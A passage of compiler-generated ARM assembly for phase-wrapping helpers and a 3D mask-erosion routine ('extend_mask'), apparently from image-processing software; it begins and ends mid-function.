ldr r2, .L66
ldr r3, .L66+8
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
b .L58
.L65:
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
.L58:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L67:
.align 2
.L66:
.word 1413754136
.word 1074340347
.word 1075388923
.word -1073143301
.size wrap, .-wrap
.align 2
.global find_wrap
.syntax unified
.arm
.fpu softvfp
.type find_wrap, %function
find_wrap:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-36]
str r3, [fp, #-32]
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r2, .L79
ldr r3, .L79+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L77
mvn r3, #0
str r3, [fp, #-16]
b .L71
.L77:
ldr r2, .L79
ldr r3, .L79+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L78
mov r3, #1
str r3, [fp, #-16]
b .L71
.L78:
mov r3, #0
str r3, [fp, #-16]
.L71:
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L80:
.align 2
.L79:
.word 1413754136
.word 1074340347
.word -1073143301
.size find_wrap, .-find_wrap
.align 2
.global extend_mask
.syntax unified
.arm
.fpu softvfp
.type extend_mask, %function
extend_mask:
@ args = 8, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #68
str r0, [fp, #-56]
str r1, [fp, #-60]
str r2, [fp, #-64]
str r3, [fp, #-68]
ldr r3, [fp, #-64]
str r3, [fp, #-32]
ldr r3, [fp, #-68]
str r3, [fp, #-28]
ldr r3, [fp, #4]
str r3, [fp, #-24]
ldr r3, [fp, #-64]
ldr r2, [fp, #-68]
mul r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-64]
ldr r2, [fp, #-68]
mul r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-64]
ldr r2, [fp, #-68]
mul r2, r3, r2
ldr r3, [fp, #4]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-12]
str r3, [fp, #-8]
ldr r2, [fp, #-16]
ldr r3, [fp, #-64]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r2, [fp, #-16]
ldr r3, [fp, #-64]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-52]
b .L82
.L88:
mov r3, #1
str r3, [fp, #-48]
b .L83
.L87:
mov r3, #1
str r3, [fp, #-44]
b .L84
.L86:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L85
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L85:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L84:
ldr r3, [fp, #-64]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L86
ldr r3, [fp, #-36]
add r3, r3, #2
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #2
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L83:
ldr r3, [fp, #-68]
sub r3, r3, #1
ldr r2, [fp, #-48]
cmp r2, r3
blt .L87
ldr r3, [fp, #-64]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-36]
add r3, r3, r2
str r3, [fp, #-36]
ldr r3, [fp, #-64]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-40]
add r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L82:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-52]
cmp r2, r3
blt .L88
ldr r3, [fp, #8]
ldr r3, [r3, #8]
cmp r3, #1
bne .L89
ldr r2, [fp, #-16]
ldr r3, [fp, #-64]
add r3, r2, r3
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r2, [fp, #-16]
ldr r3, [fp, #-64]
add r3, r2, r3
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-52]
b .L90
.L94:
mov r3, #1
str r3, [fp, #-48]
b .L91
.L93:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
lsl r3, r3, #1
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-20]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L92
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L92:
ldr r3, [fp, #-32]
ldr r2, [fp, #-36]
add r3, r2, r3
str r3, [fp, #-36]
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L91:
ldr r3, [fp, #-68]
sub r3, r3, #1
ldr r2, [fp, #-48]
cmp r2, r3
blt .L93
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-36]
add r3, r3, r2
str r3, [fp, #-36]
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-40]
add r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L90:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-52]
cmp r2, r3
blt .L94
ldr r3, [fp, #-64]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-16]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-64]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-16]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-52]
b .L95
.L99:
mov r3, #1
str r3, [fp, #-48]
b .L96
.L98:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-32]
lsl r3, r3, #1
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-32]
lsl r2, r2, #1
sub r3, r3, r2
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r2, r3, #0
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
ldr r2, [fp, #-32]
lsl r2, r2, #1
sub r3, r3, r2
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L97
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L97:
ldr r3, [fp, #-32]
ldr r2, [fp, #-36]
add r3, r2, r3
str r3, [fp, #-36]
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L96:
ldr r3, [fp, #-68]
sub r3, r3, #1
ldr r2, [fp, #-48]
cmp r2, r3
blt .L98
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-36]
add r3, r3, r2
str r3, [fp, #-36]
ldr r3, [fp, #-32]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-40]
add r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L95:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-52]
cmp r2, r3
blt .L99
.L89:
ldr r3, [fp, #8]
ldr r3, [r3, #12]
cmp r3, #1
bne .L100
ldr r3, [fp, #-16]
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-16]
add r3, r3, #1
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-36]
mov r3, #1
str r3, [fp, #-52]
b .L101
.L105:
mov r3, #1
str r3, [fp, #-44]
b .L102
.L104:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-40]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-40]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
rsb r3, r3, #0
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-32]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
mvn r3, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
rsb r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
sub r3, r2, r3
add r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-20]
lsl r3, r3, #1
mov r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #1
ldr r2, [fp, #-40]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L103
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
.L103:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L102:
ldr r3, [fp, #-64]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L104
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
str r3, [fp, #-36]
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
sub r3, r2, r3
add r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L101:
